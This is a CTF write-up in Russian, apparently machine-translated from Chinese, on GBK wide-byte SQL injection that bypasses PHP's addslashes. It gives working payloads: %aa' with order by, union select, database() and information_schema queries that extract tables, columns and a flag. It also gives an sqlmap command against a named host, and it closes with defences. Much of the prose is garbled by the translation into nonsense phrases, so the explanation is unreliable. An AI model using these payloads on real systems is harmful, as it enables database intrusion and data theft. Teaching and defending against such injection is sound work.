0x01 Предисловие
Приготовьтесь систематизировать и обобщить то, что вы узнали в этом году о сети. Если у вас есть какие-либо вопросы, пожалуйста, дайте мне несколько предложений.
В компьютере представление и хранение символов неотделимы от кодирования. Например, ASCII, UTF-8, gbk2312 и т. Д. Как правило, для представления символов требуется только один байт. Но существуют также форматы кодирования, такие как gbk2312, для представления которых требуется два байта, которые мы называем Широкий байт .
Так называемая инъекция широких байтов может существовать в базе данных SQL, которая хранит данные в коде GBK. На самом месте была относительно редкая (обычная в древней школе разбитая станция), и схема восстановления очень проста. В CTF это относится к теме SQL-инъекции начального уровня.
Анализ принципа введения широких байтов
0x01 знать дополнительные косые черты
Эта функция всегда упоминается в защите SQL-инъекции на основе PHP.
addslashes ( string $str ) : string
В официальном документе PHP функция описывается следующим образом: Возвращаемая строка, которая добавляет обратную косую черту перед некоторыми символами для нужд операторов запросов к базе данных и т. Д. Этими символами являются одинарные кавычки (‘), двойные кавычки (‘), обратные косые черты () и нуль (нулевые символы).
Приведите пример:
Для простейшего ввода числового типа символов оператор SQL, экранированный измененной функцией, действительно “заклинивает” одинарную кавычку. (SQL-оператор атаки построения не будет выполнен)
Однако обойти эту функцию несложно. Есть два момента: 1. Добавьте один (или нечетный) спереди и измените на ( ‘), что может привести к побегу, чтобы “выйти за пределы”. 2. У тебя это есть? **
Как вы можете видеть в следующем примере, если база данных использует широкую байтовую кодировку, эта функция становится бумажным тигром.
принцип впрыска 0x02 с широким байтом
Широкая инъекция байтов использует преимущества функции MySQL, То есть, когда MySQL использует кодировку GBK, он будет думать , что два символа являются китайским символом . (предыдущий ASCII Более 128 , в диапазоне китайских символов)
Давайте посмотрим на кодировку URL этих символов:
Когда вводится одинарная кавычка и экранируется с помощью добавленных косых черт, соответствующий URL-код: ‘ –> \’ –> %5C%27 Если ранее вводился символ с ASCII более 128 (например,% DF), кодировка URL изменяется на: |/%df –> %df \ ‘ –> (%df%5C)%27
Если используется кодировка GBK, %DF% 5C будет рассматриваться как китайский иероглиф , что позволяет% 27 (одинарная кавычка) сбежать с неба и успешно обойти
Давайте для изучения воспользуемся кодировкой URL: При использовании кодировки GBK вы можете видеть, что китайский иероглиф занимает два байта.
Для кодирования \ ‘:
Теперь добавьте% DF спереди, вы можете видеть, что% DF% 5C рассматривается как китайский иероглиф, и одинарная кавычка успешно ускользает:
Пример использования инъекции шириной 0x03 байта
Вот веб-проблема видеонаблюдения: sql-gbk.
Введите”, и вы увидите “изменено на”, да добавить косые черты Результат побега функции.
Используя метод, упомянутый выше, постройте% DF’, % AA’, и об ошибке будет сообщено успешно
Ниже может быть обычная ручная инъекция. Для получения более подробной информации, пожалуйста, обратитесь к некоторым статьям в Интернете, таким как: https://blog.csdn.net/litbai чжан/статья/подробности/83869918
Сначала создайте инструкцию order by, чтобы попытаться получить количество столбцов, и, наконец, используйте закрытие (закомментируйте следующие инструкции, чтобы не влиять на выполнение инструкции построения). Распространенные методы закрытия включают номер скважины, — + и так далее. Здесь используются номер скважины и% 23, в противном случае это может быть не решено
?id=1%aa' order by 2 %23
3. Было сообщено об ошибке. Вы можете знать, что количество столбцов (количество полей) равно 2
Продолжайте использовать объединение для определения положения отображения данных: Для этого шага есть хорошая статья, которая рекомендуется следующим образом: https://blog.csdn.net/weixin_/article/details/89166154
?id=999%aa' union select 1,2 %23
Я знаю, что местоположение эха равно 2
Затем измените 2 на database () и успешно получите имя базы данных: SAE china over
?id=999%aa' union select 1,database() %23
Следуйте инструкциям и проверьте название формы. (не ставьте ссылку. Неясно, можете ли вы использовать собственную структуру и функцию системной библиотеки MySQL для чтения информации в Baidu): Примечание: поскольку одинарные кавычки будут экранированы, невозможно напрямую создать имя.
?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sae-chinalover' %23
Вы можете заменить имя библиотеки на database (). Имя таблицы получено успешно.
?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23
На следующем шаге поля четырех таблиц будут разнесены одно за другим. Обнаружено, что в ctf4 есть поле флага:
?id=999%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x63746634 %23
Запросите и успешно получите флаг.
Кстати, эту проблему также можно запустить непосредственно с помощью sqlmap. Просто обведите свой широкий характер вокруг этого утверждения. Возьмем в качестве примера название хранилища взрывчатых веществ:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27" --current-db
0x04 защита от широкого ввода байтов
Для широкого внедрения байтов одним из лучших патчей является:
(1) используйте mysql_set_charset(GBK) Укажите набор символов
(2) используйте mysql_real_escape_string Перенос
строка mysql_real_escape_string И добавить косые черты Разница в том, что он учитывает набор символов, установленный в данный момент. Не будет никаких проблем с объединением% AA% 5C в широкий байт. Поэтому используйте mysql_set_charset Укажите текущий набор символов, а затем экранируйте его.